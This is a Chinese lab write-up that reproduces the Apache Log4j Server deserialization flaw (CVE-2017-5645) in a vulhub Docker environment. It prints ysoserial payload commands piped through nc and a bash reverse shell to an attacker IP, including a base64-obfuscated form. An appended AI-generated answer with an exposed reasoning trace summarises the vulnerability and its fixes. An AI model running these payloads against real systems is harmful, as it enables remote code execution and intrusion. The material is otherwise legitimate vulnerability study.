Apache-Log4j-Server-反序列化(CVE-2017-5645)

描述
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

kali 环境配置

安装https协议、CA证书、dirmngr

apt-get update

apt-get install -y apt-transport-https ca-certificates

apt-get install dirmngr

添加GPG密钥并添加更新源

curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

echo ‘deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable’ | sudo tee /etc/apt/sources.list.d/docker.list

系统更新以及安装docker

apt-get update&&apt install docker-ce

启动docker服务器 和compose

service docker start || apt install docker-compose

下载安装vulhub

git clone https://github.com/vulhub/vulhub.git

漏洞复现

启动环境/vulhub-master/log4j/CVE-2017-5645

docker-compose up -d

nmap扫描ip

nmap 192.168.1.240 -p 4712

请添加图片描述

使用ysoserial生成payload ,创建CVE-2017-5645_is_success

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/CVE-2017-5645_is_success" | nc 192.168.1.240 4712

请添加图片描述

编写poc

反弹shell  bash -i >& /dev/tcp/192.168.1.155/9999 0>&1
base64加密 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTU1Lzk5OTkgMD4mMQ==

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTU1Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

nc 反弹shell

请添加图片描述

参考链接

https://www.shuzhiduo.com/A/amd0qZRWzg/

(img-W7pwsL1M-1664463580705)]

参考链接

https://www.shuzhiduo.com/A/amd0qZRWzg/

https://blog.csdn.net/zy15667076526/article/details/111824333

<think>好的,我现在需要处理用户关于CVE-2017-5645漏洞的查询。首先,用户想要了解这个漏洞的详细信息以及修复方案。我需要先回顾已有的引用内容,确保信息准确。 根据提供的引用,特别是引用[1]、[3]、[4],这个漏洞涉及Apache Log4j Server反序列化问题,影响版本在2.8.2之前的2.x版本。漏洞评级为高危,攻击者可以通过发送恶意序列化数据执行任意命令。修复方案是升级到2.8.2或更高版本,并关闭不必要的端口。 接下来,我需要整理这些信息,按照用户要求的格式,分点说明漏洞详情、影响范围、修复方案等。同时确保使用正确的LaTeX格式,比如变量和代码块。用户要求生成相关问题,所以需要根据漏洞内容设计相关问题,如漏洞原理、检测方法、相关漏洞比较等。 需要检查是否有遗漏的信息,比如引用[5]提到Tomcat的另一个漏洞,可能不相关,但需确认。确认所有引用正确标注,例如在修复方案部分引用[3]和[4]。 最后,确保回答结构清晰,使用中文,行内公式正确,独立公式单独成段。可能不需要数学公式,但如果有涉及,比如加密算法,需注意格式。代码块使用反引号包裹,如示例中的Python代码。完成后,生成相关问题,帮助用户进一步探索。</think>### CVE-2017-5645 漏洞详情及修复方案 #### 漏洞概述 CVE-2017-5645Apache Log4j Server 中存在的一个反序列化远程代码执行漏洞。攻击者可通过构造恶意序列化数据发送到 Log4j Server 的 TCP 端口(默认 4712),触发反序列化漏洞,从而在目标服务器上执行任意命令[^3][^4]。 #### 影响范围 - **受影响版本**:Apache Log4j 2.8.2 之前的 2.x 版本[^3]。 - **风险等级**:高危(CVSS 评分 9.8)[^3]。 #### 漏洞原理 Log4j Server 的 `SocketServer` 类在处理网络请求时,未对接收的数据进行反序列化安全校验。攻击者可利用 Java 反序列化漏洞(如通过 Commons Collections 库中的 `InvokerTransformer` 类)构造恶意负载,导致远程代码执行。 #### 修复方案 1. **升级 Log4j 版本**: 升级至 Apache Log4j 2.8.2 或更高版本,官方已修复反序列化链的调用问题。 ```xml <!-- Maven 依赖示例 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.8.2</version> </dependency> ``` 2. **关闭非必要服务**: 如果无需使用 Log4j Server 的 TCP 端口功能,建议关闭默认端口(4712)或禁用 `SocketServer` 服务。 3. **网络隔离**: 限制对 Log4j Server 端口的访问权限,仅允许受信任的 IP 或网络环境连接[^1]。 #### 漏洞验证示例 通过发送恶意序列化数据到目标服务器的 4712 端口,若服务器返回异常或执行指定命令(如启动计算器),则漏洞存在。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值